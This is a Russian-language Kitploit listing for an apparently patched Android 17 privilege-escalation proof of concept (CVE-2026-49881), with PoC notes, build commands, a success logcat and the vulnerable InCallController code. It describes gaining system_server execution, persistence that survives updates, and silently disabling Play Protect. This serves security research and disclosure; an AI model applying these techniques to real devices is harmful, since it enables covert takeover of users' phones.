Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
TLPE — CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app | Kitploit
Инструменты/GitHubGitHub/supersonic/tlpe
Android SecurityPrivilege EscalationPersistence MechanismsVulnerability AnalysisExploitationMobile SecurityBinary Exploitation
GitHubsupersonic/tlpe

TLPE

CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app

Репозиторий
95124720 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Это PoC и разбор CVE-2026-49881 — логической ошибки в классе InCallController в Telecom-сервисе Android 17, которая позволяет непривилегированному приложению получить выполнение произвольного кода с UID 1000 system_server без дополнительного взаимодействия с пользователем. Мы также показываем, что выполнение кода в system_server по-прежнему можно легко адаптировать для получения устойчивости (persistence), даже в современных версиях Android.

Я сообщил об этой уязвимости команде Android Security 2026-04-10, она была подтверждена 2026-05-06 и исправлена в сентябрьском бюллетене безопасности Android за 2026 год. (см. здесь патч)

На момент сообщения, насколько мне известно, она активно затрагивала только сборки Pixel начиная с Android 16 QPR3 (а также бета-сборки 17), но позже она попала и в стабильный релиз AOSP Android 17.

Чтобы защититься от этой проблемы, обязательно установите обновление системы Google Play, а также системный патч безопасности. (Telecom является компонентом mainline начиная с Android 17)

TLPE

Примечания к PoC

  • PoC демонстрирует получение выполнения кода в system_server с помощью уязвимости, записывает id и стек вызовов в logcat, а затем переустанавливает себя как компонент system_server.
  • После установки PoC его запуск происходит либо по нажатию кнопки Start Exploit, либо при совершении вызова через telecom-стек.
  • Скомпилируйте PoC, запустив прилагаемый build.sh. В противном случае вы можете вручную выполнить ./gradlew assembleSystemRelease, переместить полученный app-system-release.apk в app/src/poc/assets/system.apk, а затем выполнить ./gradlew assemblePocRelease.
  • После успешной эксплуатации PoC зарегистрирует собственный сертификат как сертификат-предок для UID 1000. Это состояние сохраняется после OTA-обновлений, включая установку патча самой уязвимости. Чтобы очистить устройство после запуска PoC, нажмите кнопку «Uninstall» в PoC (она удаляет внедрённый сертификат) — тем не менее, я настоятельно рекомендую использовать собственный release-keystore для подписи скомпилированного APK PoC во время тестирования (а не тот, который PoC использует по умолчанию: TLPE/app/teststore.jks).
  • Обратите внимание, что PoC после попадания в system_server также отключает Play Protect, устанавливая package_verifier_user_consent в -1 в Settings.Global, поскольку тот иногда может перехватывать транзакцию переустановки из-за неизвестных подписей. После тестирования вам следует снова включить эту опцию в настройках.
  • Он проверен на Pixel Android и AOSP, но этап выполнения кода должен работать и в кастомизированных OEM-версиях Android 17. Этап переустановки в качестве system_server может потребовать индивидуальной настройки для каждого OEM, поскольку он опирается на обход структуры PMS с использованием символов, которые OEM иногда меняют.

Ожидаемый вывод logcat для PoC:

04-15 03:02:47.911  1558 12775 E TLPE    : ===================================
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Exploit successful!
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911  1558 12775 E TLPE    : [+] Current stack trace:
04-15 03:02:47.911  1558 12775 E TLPE    : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911  1558 12775 E TLPE    : ===================================
04-15 03:02:47.934  1558 12785 E TLPE    : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935  1558 12785 E TLPE    : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957  1558 12785 E TLPE    : [+] Persistence successful, reinstalling...

Разбор

Это необычно прямолинейная уязвимость. Всякий раз, когда происходят определённые действия, связанные с Telecom, InCallController пытается обнаружить доступные сервисы через getInCallServiceComponents. Это естественным образом срабатывает при регистрации вызова в системе, но приложение может вызвать это и по требованию благодаря транзакционному API вызовов TelecomManager.addCall. (примечание: именно это использует кнопка Start Exploit в PoC) Этот API требует MANAGE_OWN_CALLS, но это обычное и незаметное для пользователя разрешение, выдаваемое автоматически при установке.

Это перечисление реализовано в уязвимых версиях так:

private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
        String packageName, ComponentName componentName,
        int requestedType, boolean ignoreDisabled) {
        ...
        List<ResolveInfo> entries;
        entries = userPackageManager.queryIntentServices(
                serviceIntent,
                PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
        for (ResolveInfo entry : entries) {
            ServiceInfo serviceInfo = entry.serviceInfo;

            if (serviceInfo != null) {
                boolean isMetaFlag = serviceInfo.metaData != null &&
                        serviceInfo.metaData.getBoolean(
                                "android.telecom.CLASS_EXISTENCE_CHECK", false);
                if (isMetaFlag && !serviceClassExists(serviceInfo, userHandle)) {
                    continue;
                }
                ...
            }
        }
}
Скачать инструмент